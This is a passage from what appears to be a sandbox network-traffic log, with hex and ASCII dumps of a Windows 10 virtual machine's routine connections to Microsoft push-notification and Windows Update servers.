2024-10-03 01:26:21 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:26:21 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 61 2f 71 4d 57 6b 45 38 65 30 47 68 75 33 54 4e 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 36 31 66 30 38 31 65 31 62 38 34 66 32 39 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: a/qMWkE8e0Ghu3TN.2Context: 961f081e1b84f293<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:26:21 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 61 2f 71 4d 57 6b 45 38 65 30 47 68 75 33 54 4e 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 36 31 66 30 38 31 65 31 62 38 34 66 32 39 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: a/qMWkE8e0Ghu3TN.3Context: 961f081e1b84f293<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-03 01:26:21 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:26:21 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 2f 4e 6f 58 71 2b 63 53 38 30 4b 4d 53 72 52 6e 38 2b 79 62 6d 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: /NoXq+cS80KMSrRn8+ybmQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49726	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:26:25 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=kFWKEeFrVwhg8kZ&MD=xEZkNBLb HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-03 01:26:25 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 97224052-7999-4f75-b873-b913232ab6ac MS-RequestId: a484ed23-8e8a-404d-91f7-aeb9bb7654f2 MS-CV: iJi6oga1zEaq7GYG.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 03 Oct 2024 01:26:24 GMT Connection: close Content-Length: 24490
2024-10-03 01:26:25 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-03 01:26:25 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49727	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:26:25 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 2b 47 4b 38 56 4e 46 55 2b 30 47 54 34 2b 6c 72 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 32 36 66 30 61 36 30 66 34 31 36 61 35 30 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: +GK8VNFU+0GT4+lr.1Context: 126f0a60f416a506
2024-10-03 01:26:25 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:26:25 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 2b 47 4b 38 56 4e 46 55 2b 30 47 54 34 2b 6c 72 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 32 36 66 30 61 36 30 66 34 31 36 61 35 30 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: +GK8VNFU+0GT4+lr.2Context: 126f0a60f416a506<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:26:25 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 2b 47 4b 38 56 4e 46 55 2b 30 47 54 34 2b 6c 72 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 32 36 66 30 61 36 30 66 34 31 36 61 35 30 36 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: +GK8VNFU+0GT4+lr.3Context: 126f0a60f416a506
2024-10-03 01:26:25 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:26:25 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 76 77 45 6f 41 76 4a 74 63 30 65 51 4f 57 4d 5a 46 47 47 44 4e 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: vwEoAvJtc0eQOWMZFGGDNw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49729	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:26:39 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 62 46 31 42 52 42 50 42 7a 6b 57 37 43 43 32 31 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 65 64 65 39 30 37 31 63 64 61 33 30 64 33 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: bF1BRBPBzkW7CC21.1Context: 6ede9071cda30d30
2024-10-03 01:26:39 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:26:39 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 62 46 31 42 52 42 50 42 7a 6b 57 37 43 43 32 31 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 65 64 65 39 30 37 31 63 64 61 33 30 64 33 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: bF1BRBPBzkW7CC21.2Context: 6ede9071cda30d30<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:26:39 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 62 46 31 42 52 42 50 42 7a 6b 57 37 43 43 32 31 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 65 64 65 39 30 37 31 63 64 61 33 30 64 33 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: bF1BRBPBzkW7CC21.3Context: 6ede9071cda30d30<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-03 01:26:39 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:26:39 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 30 68 66 79 71 51 63 71 5a 6b 2b 4d 49 4e 4a 42 73 56 64 69 53 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 0hfyqQcqZk+MINJBsVdiSA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49728	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:26:39 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 31 6e 6c 64 4c 6c 37 4c 45 30 4b 45 32 43 4f 54 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 30 37 66 31 36 36 34 30 35 61 31 31 37 37 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 1nldLl7LE0KE2COT.1Context: 407f166405a1177c
2024-10-03 01:26:39 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:26:39 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 31 6e 6c 64 4c 6c 37 4c 45 30 4b 45 32 43 4f 54 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 30 37 66 31 36 36 34 30 35 61 31 31 37 37 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 1nldLl7LE0KE2COT.2Context: 407f166405a1177c<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:26:39 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 31 6e 6c 64 4c 6c 37 4c 45 30 4b 45 32 43 4f 54 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 30 37 66 31 36 36 34 30 35 61 31 31 37 37 63 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: 1nldLl7LE0KE2COT.3Context: 407f166405a1177c
2024-10-03 01:26:39 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:26:39 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 54 5a 73 67 7a 30 69 32 79 45 57 46 67 5a 32 2f 67 6b 6d 4c 45 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: TZsgz0i2yEWFgZ2/gkmLEg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49730	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:26:58 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4e 2f 54 78 4f 4a 37 68 67 45 2b 7a 4b 6f 2f 56 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 64 34 33 66 66 34 65 65 36 32 63 30 36 31 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: N/TxOJ7hgE+zKo/V.1Context: 6d43ff4ee62c061f
2024-10-03 01:26:58 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:26:58 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4e 2f 54 78 4f 4a 37 68 67 45 2b 7a 4b 6f 2f 56 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 64 34 33 66 66 34 65 65 36 32 63 30 36 31 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: N/TxOJ7hgE+zKo/V.2Context: 6d43ff4ee62c061f<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:26:58 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 4e 2f 54 78 4f 4a 37 68 67 45 2b 7a 4b 6f 2f 56 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 64 34 33 66 66 34 65 65 36 32 63 30 36 31 66 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: N/TxOJ7hgE+zKo/V.3Context: 6d43ff4ee62c061f
2024-10-03 01:26:59 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:26:59 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 79 56 4c 62 6d 4f 73 64 4b 55 71 37 53 5a 36 4d 37 49 53 62 65 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: yVLbmOsdKUq7SZ6M7ISbeA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49731	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
